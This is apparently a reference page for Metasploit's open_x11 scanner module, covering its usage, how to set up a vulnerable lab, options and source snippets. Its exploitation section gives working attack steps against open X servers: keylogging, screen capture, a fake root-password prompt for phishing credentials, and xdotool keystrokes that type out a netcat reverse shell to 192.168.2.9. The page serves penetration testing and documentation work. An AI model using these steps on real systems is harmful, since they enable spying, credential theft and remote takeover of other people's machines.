X11 No-Auth Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/x11/open_x11 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: X11 No-Auth Scanner
Module: auxiliary/scanner/x11/open_x11
Source code: modules/auxiliary/scanner/x11/open_x11.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6000
List of CVEs: CVE-1999-0526
This module scans for X11 servers that allow anyone to connect without authentication.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options
... show and set options ...
msf auxiliary(open_x11) > set RHOSTS ip-range
msf auxiliary(open_x11) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(open_x11) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(open_x11) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
X11 (X Window System) is a graphical windowing system most common on unix/linux, although implementations may be found in windows
with software such as Hummingbird Exceed X Server. The service can accept connections from any users when misconfigured
which is done with the command xhost +
.
Ubuntu 10.04
sudo nano /etc/gdm/gdm.schemas
Find:
security/DisallowTCP b true - Change
true
tofalse
- Change
logout or reboot
Verification:
sudo netstat -antp | grep 6000
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
Now, to verify you allow ANYONE to get on X11, type:
xhost +
Ubuntu 12.04, 14.04
sudo nano /etc/lightdm/lightdm.conf
Under the
[SeatDefaults]
area, add:xserver-allow-tcp=true allow-guest=true
logout or reboot
Verification:
sudo netstat -antp | grep 6000
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
Now, to verify you allow ANYONE to get on X11, type:
xhost +
Ubuntu 16.04
Use the Ubuntu 12.04 instructions, however change SeatDefaults
to Seat:*
Fedora 15
vi /etc/gdm/custom.conf
Under the
[security]
area, add:DisallowTCP=false
logout/reboot
Now, to verify you allow ANYONE to get on X11, type:
xhost +
Solaris 10
svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true
svc disable cde-login
svc enable cde-login
xhost +
Verification Steps
- Install and configure X11
- Start msfconsole
- Do:
use auxiliary/scanner/x11/open_x11
- Do:
set rhosts [IPs]
- Do:
run
Scenarios
A run against Ubuntu 14.04 (192.168.2.75), Ubuntu 16.04 (192.168.2.26), and Solaris 10 (192.168.2.32)
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > set rhosts 192.168.2.75 192.168.2.26
rhosts => 192.168.2.75 192.168.2.26
msf auxiliary(open_x11) > run
[+] 192.168.2.75:6000 - 192.168.2.75 Open X Server (The X.Org Foundation)
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.2.26:6000 - 192.168.2.26 Open X Server (The X.Org Foundation)
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.2.32:6000 - 192.168.2.32 Open X Server (Sun Microsystems, Inc.)
[*] Auxiliary module execution completed
Confirming
The following are other industry tools which can also be used.
nmap
# nmap -p 6000 --script=x11-access 192.168.2.26,75
Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-23 13:15 EDT
Nmap scan report for ubuntu-desktop-16 (192.168.2.26)
Host is up (0.0021s latency).
PORT STATE SERVICE
6000/tcp open X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:60:27:F9 (VMware)
Nmap scan report for ubuntu-desktop-14 (192.168.2.75)
Host is up (0.0021s latency).
PORT STATE SERVICE
6000/tcp open X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:0E:C4:6E (VMware)
xdpyinfo
This is one of the standard linux tools to get info on an X display.
# xdpyinfo -display 192.168.2.75:0 | head -n 5
name of display: 192.168.2.75:0
version number: 11.0
vendor string: The X.Org Foundation
vendor release number: 11803000
X.Org version: 1.18.3
Exploitation
Exploiting this mis-configuration has several methods. The target can have their display viewed, keystrokes logged, and potential keyboard typed.
Keylogging
To keylog the remote host, we use a tool called xspy
xspy -display [ip]:0
Screen Monitoring
Entire Display
It is possible to monitor the entire display (all windows) and view the content.
- Take a screenshot:
xwd -root -display [ip]:[display] -out xdump.xdump
- View screenshot:
display xdump.xdump
orxwud -in xdump.xdump
Specific Window
To monitor only a single window (a terminal for instance)
First, we need to determine which windows are available and what their processes are:
xwininfo -tree -root -display [ip]:0
Once you determine which window you want to monitor, you'll want to use the windowID
. Now use the application xwatchwin
xwatchwin [ip]:0 -w [windowID]
Social Engineering
Obviously watching keystrokes is good, but we want to coax the user into providing their password. We can do this by using xterm to display a login box to the user.
This was tested against Ubuntu 12.04, 14.04, 16.04 and Solaris 10.
- start
xspy
xterm -T "Root Permission Required" -display [ip]:0 -e "echo -e -n 'root password: '; read passwd; echo 'Authentication Failure'; echo -e -n 'root password: '; read passwd"
- Notice it asks twice for the password incase of a mistyped initial password. This can also be adjusted to just say password or the real user's username
- The victim's typed text by the user will not be masked (
*
)
Direct Exploitation
Use exploits/unix/x11/x11_keyboard_exec
Typing Commands
Similar to the method exploits/unix/x11/x11_keyboard_exec
uses, its possible to use xdotool
to run commands on the remote system.
To install xdotool
on kali simply run apt-get install xdotool
Now, you can directly interact by typing commands (which appear on the users screen), an example would be running xterm and launching netcat.
For this scenario we run a simple reverse netcat to 192.168.2.9:80
xdotool key alt+F2
xdotool key x t e r m
xdotool key KP_Enter
xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter
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Msfconsole Usage
Here is how the scanner/x11/open_x11 auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/x11/open_x11
msf6 auxiliary(scanner/x11/open_x11) > show info
Name: X11 No-Auth Scanner
Module: auxiliary/scanner/x11/open_x11
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
tebo <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6000 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module scans for X11 servers that allow anyone to connect
without authentication.
References:
OSVDB (309)
https://nvd.nist.gov/vuln/detail/CVE-1999-0526
Module Options
This is a complete list of options available in the scanner/x11/open_x11 auxiliary module:
msf6 auxiliary(scanner/x11/open_x11) > show options
Module options (auxiliary/scanner/x11/open_x11):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6000 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/x11/open_x11 auxiliary module:
msf6 auxiliary(scanner/x11/open_x11) > show advanced
Module advanced options (auxiliary/scanner/x11/open_x11):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/x11/open_x11 module can do:
msf6 auxiliary(scanner/x11/open_x11) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/x11/open_x11 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/x11/open_x11) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response received due to a timeout
Here is a relevant code snippet related to the "No response received due to a timeout" error message:
42: disconnect
43:
44: if response
45: success = response[0,1].unpack('C')[0]
46: else
47: print_error("No response received due to a timeout")
48: return
49: end
50:
51:
52: if(success == 1)
<IP> Access Denied
Here is a relevant code snippet related to the "<IP> Access Denied" error message:
61: :port => rport,
62: :type => 'Open X Server',
63: :data => "Open X Server (#{vendor})"
64: )
65: elsif (success == 0)
66: print_error("#{ip} Access Denied")
67: else
68: # X can return a reason for auth failure but we don't really care for this
69: end
70:
71: rescue ::Rex::ConnectionError
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7516 Merged Pull Request: print_{good,error} more specifically in open_x11
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #4412 Merged Pull Request: Resolve #4408 - bad uncaught nil get_once
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- OSVDB (309)
- CVE-1999-0526
See Also
Check also the following modules related to this module:
- auxiliary/scanner/etcd/open_key_scanner
- auxiliary/scanner/http/open_proxy
- exploit/unix/webapp/open_flash_chart_upload_exec
- exploit/windows/ftp/open_ftpd_wbem
- auxiliary/admin/http/foreman_openstack_satellite_priv_esc
- auxiliary/admin/http/openbravo_xxe
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/ssl/openssl_aesni
- auxiliary/gather/drupal_openid_xxe
- auxiliary/gather/opennms_xxe
- auxiliary/scanner/http/es_file_explorer_open_port
- auxiliary/scanner/http/openmind_messageos_login
- auxiliary/scanner/openvas/openvas_gsad_login
- auxiliary/scanner/openvas/openvas_omp_login
- auxiliary/scanner/openvas/openvas_otp_login
- auxiliary/scanner/ssl/openssl_ccs
- auxiliary/scanner/ssl/openssl_heartbleed
- auxiliary/scanner/wproxy/att_open_proxy
- auxiliary/server/openssl_altchainsforgery_mitm_proxy
- auxiliary/server/openssl_heartbeat_client_memory
- auxiliary/sqli/openemr/openemr_sqli_dump
- auxiliary/sqli/oracle/dbms_metadata_open
- exploit/aix/local/xorg_x11_server
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/local/xorg_x11_suid_server_modulepath
- exploit/unix/x11/x11_keyboard_exec
Related Nessus plugins:
Authors
- tebo <tebodell[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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